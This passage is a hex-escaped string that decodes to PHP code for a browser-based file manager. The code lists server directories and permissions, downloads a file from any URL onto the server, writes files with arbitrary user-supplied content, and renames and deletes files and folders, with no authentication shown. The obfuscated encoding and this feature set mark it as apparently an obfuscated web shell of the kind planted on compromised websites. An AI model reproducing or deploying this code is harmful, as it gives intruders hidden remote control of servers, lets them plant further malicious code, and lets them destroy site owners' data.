74\x65\x72\x3E\x24\x61\x63\x74\x69\x6F\x6E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x74\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x66\x6F\x72\x65\x61\x63\x68\x20\x28\x24\x66\x69\x6C\x65\x73\x20\x61\x73\x20\x24\x69\x74\x65\x6D\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x69\x74\x65\x6D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x73\x69\x7A\x65\x20\x3D\x20\x66\x6F\x72\x6D\x61\x74\x53\x69\x7A\x65\x28\x40\x66\x69\x6C\x65\x73\x69\x7A\x65\x28\x24\x70\x61\x74\x68\x29\x29\x3B\x20\x2F\x2F\x20\x55\x73\x65\x20\x40\x20\x74\x6F\x20\x73\x75\x70\x70\x72\x65\x73\x73\x20\x77\x61\x72\x6E\x69\x6E\x67\x73\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x20\x3D\x20\x73\x75\x62\x73\x74\x72\x28\x73\x70\x72\x69\x6E\x74\x66\x28\x27\x25\x6F\x27\x2C\x20\x66\x69\x6C\x65\x70\x65\x72\x6D\x73\x28\x24\x70\x61\x74\x68\x29\x29\x2C\x20\x2D\x34\x29\x3B\x20\x2F\x2F\x20\x47\x65\x74\x20\x6C\x61\x73\x74\x20\x34\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73\x20\x6F\x66\x20\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x61\x63\x74\x69\x6F\x6E\x20\x3D\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x46\x69\x6C\x65\x41\x63\x74\x69\x6F\x6E\x73\x28\x24\x64\x69\x72\x2C\x20\x24\x70\x61\x74\x68\x2C\x20\x24\x69\x74\x65\x6D\x2C\x20\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x29\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x74\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x5C\x22\x3F\x64\x69\x72\x3D\x22\x2E\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x28\x24\x70\x61\x74\x68\x29\x2E\x22\x5C\x22\x3E\x22\x20\x2E\x20\x24\x69\x74\x65\x6D\x20\x2E\x20\x22\x3C\x2F\x61\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x73\x69\x7A\x65\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x61\x63\x74\x69\x6F\x6E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x74\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x75\x70\x6C\x6F\x61\x64\x46\x69\x6C\x65\x46\x72\x6F\x6D\x55\x72\x6C\x28\x24\x75\x72\x6C\x2C\x20\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x4E\x61\x6D\x65\x20\x3D\x20\x62\x61\x73\x65\x6E\x61\x6D\x65\x28\x24\x75\x72\x6C\x29\x3B\x0A\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x66\x69\x6C\x65\x4E\x61\x6D\x65\x3B\x0A\x20\x20\x20\x20\x24\x63\x6F\x6E\x74\x65\x6E\x74\x20\x3D\x20\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x75\x72\x6C\x29\x3B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x24\x63\x6F\x6E\x74\x65\x6E\x74\x20\x3D\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x66\x65\x74\x63\x68\x20\x66\x69\x6C\x65\x20\x63\x6F\x6E\x74\x65\x6E\x74\x20\x66\x72\x6F\x6D\x20\x55\x52\x4C\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x2C\x20\x24\x63\x6F\x6E\x74\x65\x6E\x74\x29\x20\x21\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x75\x70\x6C\x6F\x61\x64\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x75\x70\x6C\x6F\x61\x64\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x0A\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x66\x6F\x72\x6D\x61\x74\x53\x69\x7A\x65\x28\x24\x62\x79\x74\x65\x73\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x75\x6E\x69\x74\x73\x20\x3D\x20\x61\x72\x72\x61\x79\x28\x27\x42\x27\x2C\x20\x27\x4B\x42\x27\x2C\x20\x27\x4D\x42\x27\x2C\x20\x27\x47\x42\x27\x2C\x20\x27\x54\x42\x27\x29\x3B\x0A\x20\x20\x20\x20\x24\x62\x79\x74\x65\x73\x20\x3D\x20\x6D\x61\x78\x28\x24\x62\x79\x74\x65\x73\x2C\x20\x30\x29\x3B\x0A\x20\x20\x20\x20\x24\x70\x6F\x77\x20\x3D\x20\x66\x6C\x6F\x6F\x72\x28\x28\x24\x62\x79\x74\x65\x73\x20\x3F\x20\x6C\x6F\x67\x28\x24\x62\x79\x74\x65\x73\x29\x20\x3A\x20\x30\x29\x20\x2F\x20\x6C\x6F\x67\x28\x31\x30\x32\x34\x29\x29\x3B\x0A\x20\x20\x20\x20\x24\x70\x6F\x77\x20\x3D\x20\x6D\x69\x6E\x28\x24\x70\x6F\x77\x2C\x20\x63\x6F\x75\x6E\x74\x28\x24\x75\x6E\x69\x74\x73\x29\x20\x2D\x20\x31\x29\x3B\x0A\x20\x20\x20\x20\x24\x62\x79\x74\x65\x73\x20\x2F\x3D\x20\x28\x31\x20\x3C\x3C\x20\x28\x31\x30\x20\x2A\x20\x24\x70\x6F\x77\x29\x29\x3B\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x72\x6F\x75\x6E\x64\x28\x24\x62\x79\x74\x65\x73\x2C\x20\x32\x29\x20\x2E\x20\x27\x20\x27\x20\x2E\x20\x24\x75\x6E\x69\x74\x73\x5B\x24\x70\x6F\x77\x5D\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x46\x69\x6C\x65\x41\x63\x74\x69\x6F\x6E\x73\x28\x24\x64\x69\x72\x2C\x20\x24\x70\x61\x74\x68\x2C\x20\x24\x69\x74\x65\x6D\x2C\x20\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x29\x20\x7B\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x27\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x6F\x70\x65\x6E\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x22\x3E\x45\x64\x69\x74\x3C\x2F\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x64\x65\x6C\x65\x74\x65\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x32\x22\x3E\x44\x65\x6C\x65\x74\x65\x3C\x2F\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x72\x65\x6E\x61\x6D\x65\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x22\x3E\x52\x65\x6E\x61\x6D\x65\x3C\x2F\x61\x3E\x27\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x63\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x46\x6F\x72\x6D\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x3C\x62\x72\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x27\x70\x6F\x73\x74\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x43\x72\x65\x61\x74\x65\x20\x46\x69\x6C\x65\x20\x3A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x66\x69\x6C\x65\x6E\x61\x6D\x65\x27\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x27\x46\x69\x6C\x65\x20\x4E\x61\x6D\x65\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x65\x78\x74\x61\x72\x65\x61\x20\x6E\x61\x6D\x65\x3D\x27\x66\x69\x6C\x65\x63\x6F\x6E\x74\x65\x6E\x74\x27\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x27\x46\x69\x6C\x65\x20\x43\x6F\x6E\x74\x65\x6E\x74\x27\x3E\x3C\x2F\x74\x65\x78\x74\x61\x72\x65\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x61\x64\x64\x66\x69\x6C\x65\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x43\x72\x65\x61\x74\x65\x20\x46\x69\x6C\x65\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x3C\x62\x72\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x22\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x41\x63\x74\x69\x6F\x6E\x73\x28\x24\x64\x69\x72\x2C\x20\x24\x70\x61\x74\x68\x29\x20\x7B\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x27\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x64\x65\x6C\x65\x74\x65\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x32\x22\x3E\x44\x65\x6C\x65\x74\x65\x3C\x2F\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x72\x65\x6E\x61\x6D\x65\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x22\x3E\x52\x65\x6E\x61\x6D\x65\x3C\x2F\x61\x3E\x27\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x72\x65\x6E\x61\x6D\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x72\x65\x6E\x61\x6D\x65\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x27\x3C\x62\x72\x3E\x3C\x62\x72\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4E\x65\x77\x20\x4E\x61\x6D\x65\x3A\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6E\x65\x77\x6E\x61\x6D\x65\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x27\x2E\x62\x61\x73\x65\x6E\x61\x6D\x65\x28\x24\x5F\x47\x45\x54\x5B\x27\x72\x65\x6E\x61\x6D\x65\x27\x5D\x29\x2E\x27\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x72\x65\x6E\x61\x6D\x65\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x52\x65\x6E\x61\x6D\x65\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x27\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x72\x65\x6E\x61\x6D\x65\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6F\x6C\x64\x6E\x61\x6D\x65\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x72\x65\x6E\x61\x6D\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6E\x65\x77\x6E\x61\x6D\x65\x20\x3D\x20\x64\x69\x72\x6E\x61\x6D\x65\x28\x24\x6F\x6C\x64\x6E\x61\x6D\x65\x29\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x6E\x65\x77\x6E\x61\x6D\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x72\x65\x6E\x61\x6D\x65\x28\x24\x6F\x6C\x64\x6E\x61\x6D\x65\x2C\x20\x24\x6E\x65\x77\x6E\x61\x6D\x65\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x72\x65\x6E\x61\x6D\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x72\x65\x6E\x61\x6D\x65\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x64\x65\x6C\x65\x74\x65\x46\x6F\x6C\x64\x65\x72\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x64\x65\x6C\x65\x74\x65\x66\x6F\x6C\x64\x65\x72\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x6F\x6C\x64\x65\x72\x54\x6F\x44\x65\x6C\x65\x74\x65\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x64\x65\x6C\x65\x74\x65\x66\x6F\x6C\x64\x65\x72\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2F\x2F\x20\x50\x65\x72\x69\x6B\x73\x61\x20\x61\x70\x61\x6B\x61\x68\x20\x66\x6F\x6C\x64\x65\x72\x20\x6B\x6F\x73\x6F\x6E\x67\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x21\x69\x73\x5F\x64\x69\x72\x45\x6D\x70\x74\x79\x28\x24\x66\x6F\x6C\x64\x65\x72\x54\x6F\x44\x65\x6C\x65\x74\x65\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x6F\x6C\x64\x65\x72\x20\x69\x73\x20\x6E\x6F\x74\x20\x65\x6D\x70\x74\x79\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2F\x2F\x20\x48\x61\x70\x75\x73\x20\x66\x6F\x6C\x64\x65\x72\x20\x6A\x69\x6B\x61\x20\x6B\x6F\x73\x6F\x6E\x67\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x72\x6D\x64\x69\x72\x28\x24\x66\x6F\x6C\x64\x65\x72\x54\x6F\x44\x65\x6C\x65\x74\x65\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x6F\x6C\x64\x65\x72\x20\x64\x65\x6C\x65\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x28\x24\x64\x69\x72\x29\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x64\x65\x6C\x65\x74\x65\x20\x66\x6F\x6C\x64\x65\x72\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x2F\x2F\x20\x46\x75\x6E\x67\x73\x69\x20\x75\x6E\x74\x75\x6B\x20\x6D\x65\x6D\x65\x72\x69\x6B\x73\x61\x20\x61\x70\x61\x6B\x61\x68\x20\x73\x65\x62\x75\x61\x68\x20\x66\x6F\x6C\x64\x65\x72\x20\x6B\x6F\x73\x6F\x6E\x67\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x69\x73\x5F\x64\x69\x72\x45\x6D\x70\x74\x79\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x21\x69\x73\x5F\x72\x65\x61\x64\x61\x62\x6C\x65\x28\x24\x64\x69\x72\x29\x29\x20\x72\x65\x74\x75\x72\x6E\x20\x4E\x55\x4C\x4C\x3B\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x28\x63\x6F\x75\x6E\x74\x28\x73\x63\x61\x6E\x64\x69\x72\x28\x24\x64\x69\x72\x29\x29\x20\x3D\x3D\x20\x32\x29\x3B\x0A\x7D\x0A\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x63\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x61\x64\x64\x66\x69\x6C\x65\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x6E\x61\x6D\x65\x20\x3D\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x66\x69\x6C\x65\x6E\x61\x6D\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x63\x6F\x6E\x74\x65\x6E\x74\x20\x3D\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x66\x69\x6C\x65\x63\x6F\x6E\x74\x65\x6E\x74\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x70\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x6C\x65\x5F\x65\x78\x69\x73\x74\x73\x28\x24\x66\x69\x6C\x65\x70\x61\x74\x68\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x61\x6C\x72\x65\x61\x64\x79\x20\x65\x78\x69\x73\x74\x73\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x66\x69\x6C\x65\x70\x61\x74\x68\x2C\x20\x24\x66\x69\x6C\x65\x63\x6F\x6E\x74\x65\x6E\x74\x29\x20\x21\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x63\x72\x65\x61\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x63\x72\x65\x61\x74\x65\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x63\x72\x65\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x46\x6F\x72\x6D\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\